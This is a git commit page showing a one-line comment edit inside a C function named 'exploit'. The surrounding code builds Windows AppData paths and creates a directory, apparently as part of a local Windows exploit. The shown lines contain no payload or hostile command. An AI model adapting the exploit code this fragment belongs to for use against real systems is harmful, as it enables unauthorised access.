Update code with latest changes

This commit is contained in:
Grant Willcox 2022-04-01 12:11:05 -05:00
parent d29f5690a1
commit 8daecca5c3
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
2 changed files with 1 additions and 1 deletions

View File

@ -597,7 +597,7 @@ int exploit(char* incomingData) {
wcscpy(appdata_local_appdata, appdata_local);
wcscat(appdata_local_appdata, L"\\Application Data\0");
// Create the directory at C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\
// Create the directory at C:\\Users\\TEMP.WIN11-TEST.016\\AppData
int dir_cr_result = SHCreateDirectory(NULL, appdata);
if (dir_cr_result != ERROR_SUCCESS) {
wprintf(L"Couldn't create the AppData directory corresponding to the appdata variable! Error was: %i\r\n", dir_cr_result);